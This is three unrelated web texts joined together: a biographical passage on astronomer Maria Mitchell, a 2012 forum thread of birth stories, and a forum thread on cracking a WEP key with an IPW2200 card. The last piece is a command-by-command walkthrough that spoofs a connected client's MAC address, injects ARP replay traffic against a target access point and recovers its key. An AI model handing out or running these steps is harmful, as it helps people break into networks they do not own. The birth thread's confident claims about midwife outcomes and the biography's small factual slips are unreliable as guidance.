Boston feminists were extremely proud of her achievements. It was botanist Elizabeth Agassiz who persuaded her husband to nominate Mitchell for membership in the American Academy of Arts and Sciences, while innovative educator and publisher Elizabeth Peabody led wealthier women in purchasing a new telescope for her.
A decade after she became famous with her discovery, Mitchell was able to spend a year in several countries of Europe. She met with other astronomers, including Sir John Herschel, whose aunt, German-born Caroline Herschel, had been a pioneering astronomer prior to her 1848 death. Mitchell also visited Scotland's Mary Somerville, who published The Mechanisms of the Heavens in 1829 and went on to innovative work on ultraviolet rays and molecular structure.
With an extreme passion for science, Maria Mitchell continued her pursuit in the scientific field through the Civil War, when she also was involved in the anti-slavery movement. A strong believer in freedom for all, she refused to wear cotton grown by slaves in the South.
The Civil War transformed the roles of American women, and many eastern states that had not provided colleges for women began to do so. One of the most prestigious was Vasser College, which was founded in Poughkeepsie, New York, by Matthew Vassar in 1865. He persuaded Mitchell to join its faculty, where she was the only woman. There she had access to a twelve-inch telescope, the third largest in the United States, and began to specialize in the surfaces of Jupiter and Saturn.
Equally important, she refused to enforce the petty rules of female behavior that were expected in this place and time. The Vasser faculty respected Mitchell, but they initially expected her to teach astronomy – while insisting that the college's female students were not allowed to go outside at night!
A sensible person who distained Victorian rigidity, Mitchell also was a leader in the formation of the American Association for the Advancement of Women (AAW), which evolved into today's American Association of University Women. She served as AAW's 1873 president and also was elected vice president of one of the few mixed-gender professional associations of the era, the pioneer American Social Science Association. Her interest in this "soft" science, as opposed to the "hard" science of astronomy, shows what a well-rounded person Mitchell was.
Always a powerful advocate of women's potential, she became increasingly feminist as she aged. Beyond that, she questioned the era's religiosity, and when Vasser insisted that she attend chapel, made a point of sitting at the far back, where she could ignore the preacher and "think of something pleasant." She even gave up her membership in the Society of Friends (Quakers).
Maria Mitchell had known of Nantucket-born Quaker and feminist Lucretia Mott all of her life, and she later befriended other women's rights leaders such as Elizabeth Cady Stanton, Susan B. Anthony, Lucy Stone, Dr. Elizabeth Blackwell, and Antoinette Brown Blackwell. When the nation celebrated its first centennial in 1876, she chaired the Women's Congress held in Philadelphia. She also was an exceptionally good teacher, and some of her female students went on to achievement in astronomy.
She retired from Vassar in 1888, but continued her research in Lynn, Massachusetts, where her sister lived. She passed away on June 28, 1889 of a brain disease, but not before proving women's potential in science. After her death, her friends and supporters founded the Maria Mitchell Association on Nantucket in 1902; they preserved her home, which is open to visitors.
Maria Mitchell was elected to the Hall of Fame of Great Americans at New York University when it began in 1905, and in 1994, she was elected to the National Women's Hall of Fame in Seneca Falls, New York. Besides being active in the political and scientific realms, she was a true founder of modern science. Later astronomers honored her by naming a crater of the moon for Maria Mitchell.
Taken from Young and Brave: Girls Changing History
Works Cited:
- Baker, Rachel. American's First Woman Astronomer, Maria Mitchell. New York: J. Messner, 1960.
- Bergland, Renee. Maria Mitchell and the Sexing of Science. Boston: Beacon Press, 2008.
- Mitchell, Henry. Biographical Notice of Maria Mitchell. 1889.
- Wright, Helen. Sweeper in the Sky; The Life of Maria Mitchell. New York: Macmillan Co., 1949.
- Wright, Helen. "Maria Mitchell" in Notable American Women, vol 2, 554-56.


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12th June 2012 10:24 PM #1
Who have you shared your birth story/stories with?
I am always interested to hear or read other women's birth stories. There are some really amazing and inspiring birth stories here. I find the sharing of our birth stories and pregnancy experiences really helpful and it helps to inform me to make better decisions.
I have shared my birth story with some friends but I wonder if I sometimes hold back from sharing it. Obviously, it is a very personal experience and tells part of my family's story. Also, because I experienced post traumatic stress after the birth of my son I often find myself getting emotional or (re-living parts of the birth I had forgot) during the telling of his birth story. However, I find the more I tell of my birth experiences; the better I can come to terms with them.
I particularly enjoyed reading Jane's account of Jarred's Birth as she tells the story with such honesty. That is something else I can find difficult when I am telling my birth story - I don't want to 'wash over' the intensity of the experience or trivialise it but sometimes I feel I don't have the words to describe the whole event.
I would love to hear others thoughts on this especially as I start to work with my doula to prepare and plan for my next birth.
Best wishes,
13th June 2012 06:14 AM #2
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I love reading birth stores. At times during my pregnancies, I would spend hours pouring over the birth stories of others. Yet, I have a difficult time sharing my own. It is such a powerful experience, so rich with emotion. I've discussed the basics with plenty of people, my doula clients, random folks at the grocery store- once someone finds out what I do for a living (doula), they want to talk about their own birth experiences.
Though it was a little difficult for me, I shared the story of my last birth on this forum a few months ago.
13th June 2012 07:41 AM #3
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I had 5 homebirths, and thought there were challenges in all of them, I enjoyed sharing them with anyone who showed an interest. Now, I'm not a very "social" person, by nature, so I only had family and a few close friends, but I was put on the referral list of one of my midwives, so I got some calls from women who were considering her as their birth attendant - so I was able to share my experiences with them.
I was always very honest about how everything went, and when I would mention that we had a challenge, I was always quick to point out that the positive outcomes of those challenges shows how important it is that you have a skilled midwife. Had I been in the hospital, my outcomes would have been MUCH different - worse for both baby and me.
I also found that by sharing the experiences, it empowered me to be more prepared for the next births. I, too, enjoyed watching birth videos (youtube wasn't around at that time, so these were actual videos of my midwife's past clients and some other videos she had purchased for her library) and I enjoyed reading birth stories. I suppose that the more I learned about the births of others, the more empowered I became.
And on that note, I want to empower you with this video of a woman who had challenges far beyond mine, but who overcome her traumatic birth experience to experience the most amazing home birth of her twins. Laura-Jane, I have seen you take control and be proactive about creating the best possible birth experience for yourself with this pregnancy, and I believe that as you continue to work through your traumatic first birth experience, that you'll experience the most amazing birth of your 2nd child.
15th June 2012 07:51 PM #4
That video is just beautiful. What an amazing lady and a wonderful family. It is great that she wanted to share her story with the world. I do think the the sharing of our personal birth stories can help other ladies with their births - they have helped me.
Mom2many - your birth story is wonderful. I think you were strong and were ready to do what was best for your, your baby and your family at all times. Thank you again for sharing your story and I am sure it will help other ladies to follow their hearts during birth.
With best wishes,
13th July 2012 08:56 PM #5
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My 1st boy I had an epidural with and loads of gas and air and it knocked me out at one stage they have to wake me up I wouldnt have it again if i had any more kids because i didn't remember much and couldn't remember much pain . They had me in hospital for 3 days before in slow labour which felt like weeks on end , i hate hospitals as it is .
My second boy they said 3 weeks before he had not turned like he should have so i would have to have a c section , so they told me i had to be in hospital for 3 weeks aswell . But guess what .... a week later i heard them outside the door saying " we need beds big time and i think his lady only lives down the rd and aslong as we tell her to ring in if any problems she should be ok !" even that i hated hospital they have a cheek because i was so scared of having a c section and was scared my little one was not moving how he should be .
Anyway just so happens i went home and went back the day they told me for a c section and bugger me the little bugger had turned so i could have a a normal birth ( I was a bit gutted because i got myself ready for c section and thinking i would have a little boy by the end of the night ) .
So just as she went to get my forms to go home she came back in and said " there have had another idea they want to start you off and see how it goes ". So i stayed in and they had to start me off twice then by mid night i was in labour but there was no room down stairs and they said i may need to have baby where i was . so i said " can i have my partner here please now then " she went to ask and they said no because i was upstairs on ward i was heart broken . all this time i had no gas and air because they kept trying to ring and get me in down stairs .... anyway i remember the pain and holding on to the bed and no word of a lie i looked up and said " dad help me do this " ( because i am not one for pain at all ) . So when i got really bad i remember one nice nurse saying " i know i should but i am ringing your man and letting him in " so she did ring him and tell him to come up
Anyway i got near the end and i said to nurse i need to push soon she went to get other nurse and they said please hold in for 5 mins we got a place down stairs , i remember them saying not long just down lift just hold on ....... then in the lift i remember saying please i know i need to push ...... she said we are 1 min away as they got me out of lift and just got in door way i had to push i couldn't wait no longer .
So as all this is happening my partner was coming and had ran upstairs to be told to go back down ..... i remember him running in the door way and one more push and little one was here .
Even that it ended up all good if he would have missed birth because of the hospital i would have been so upset with them all .
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Hi yummymummy,
Thanks for sharing your birth experiences. I've heard of mums being told "not to push" and I simply can't imagine that. When the body has that uncontrollable urge to push, the baby needs to come. I've breathed through a contraction while holding baby's head at one point while crowning, so that my tissues would stretch naturally without tearing, but other than that, I pushed when my body told me to.
Have you considered using a midwife for your next birth? Statistics show that midwife attended births have much better outcomes. If you had a birth at home or in a birthing center there wouldn't be any concern about your partner not being present or about not pushing. Midwives support the natural birth process as if you were birthing with just you and your partner there - they offer support when you need it and keep an eye on how you and bub are doing, but it's all done in a very relaxed, supportive atmosphere and sometimes midwives will actually go out of the room to just let you labour on your own, if this is what you want (while checking in periodically to make sure you're doing well).
If you think you may have another child in the future, I would definitely encourage you to read some homebirth stories to see if those experiences are more along the lines of what you would want.
16th July 2012 10:33 PM #7
Hi yummymummy,
Thank you for sharing your birth stories with us here.
I'm sorry to hear about the way you were treated in hospital and you were not able to just 'go with your body' and push when you felt the urge to.
I also wonder, if you were going to have another child, if you have heard of hypnobirthing? I am currently taking a hypnobirthing course with my doula after a traumatic labour with my first baby. It's been really interesting to learn how respecting a woman in labour and allowing her to deeply relax can make the surges (contractions) manageable and the birthing experience a positive one. I believe that this along with having my trusted doula with me at my birth will enable it to go as smoothly as possible and be an experience in which I can trust my body and my baby.
Thanks again for sharing your stories.
With best wishes,


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I'm working by this guide http://forums.remote-exploit.org/showthread.php?t=1556
and I get something like 800 iv's in every 30 minutes, I think that there is some injuction problem, any idea why? working with bt2final and intel 2200.
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I'm working by this guide http://forums.remote-exploit.org/showthread.php?t=1556
and I get something like 800 iv's in every 30 minutes, I think that there is some injuction problem, any idea why? working with bt2final and intel 2200.
Yes, the IPW2200 is very problematic and the injection works only if you are connect to another access point on the same channel like the one you try to crack...
Here you can read everything you need:
(Look after the last answer of CValentine below...
Alright, i did it! Thanks for all the help i received!!!
Since it took me so much time to get it to work on my Centrino here's some help for all you Centrino injecters out there...
First of all, like LatinSud wrote, Centrino IPW2200 users HAVE TO BE ASSOCIATED to ANY! AP ON THE SAME CHANNEL as the targeted one WITH NO WEP KEY set at all!!!!
That said there are two possibilities:
1) Ether you have a second old/unused router that you set up on the same channel as the target with no encryption enabled (it doesn't have to be connected to the internet, so just pluging it's power in and setting it to the channel as an open network will do the trick)
2) you just disable the encryption on your own router for a while and maybe unplug the router from your phone line (if you care who surfs on your net as long as your unprotected that is... ;) )
After setting up this "association ready network" you do a
$ rmmod ipw2200 -> removes your original module, internet connection will go down
$ modprobe ipw2200 rtap_iface=1 -> loads the patched driver with the monitor interface enabled
$ airodump-ng rtap0 -> will start monitoring all channels for traffic
Once you found a network with data traffic and an associated client (everything else won't be of any use since ipw2200 can't do a fakeauth attack to associate ourselves), remember the APs MAC and the matching clients MAC as well as the channel they operate on.
Now do a
$ ifconfig eth1 down -> shuts down the interface once again to allow mac changes
$ ifconfig eth1 hw ether < MAC of the associated client you pinned down>
$ ifconfig eth1 up -> pretty self-explaining
$ ifconfig rtap0 up -> brings the monitor interface up
Now connect your eth1 interface to your unprotected "association AP", change it's channel to the needed one, reconnect, then - just to make sure - do a
$ iwconfig eth1 key off
Here comes the fun part:
$ airodump-ng rtap0 --ivs --bssid <MAC of your target AP> -c <Channel the AP/Client is working on> -w <Chose a output filename>
This will constantly capture on the specified channel for just your target AP, writing only IVs to a file named as you chose.
Since that terminal is now busy, open up another one and do a:
$ aireplay-ng -3 -b <MAC of your target AP> -h <MAC of the associated client> -i rtap0 eth1
Here you go... Once your captured IVs go flying high, do a
$ aircrack-ng <Your IV outputfile> and there you are...
Hope this clears some things up!
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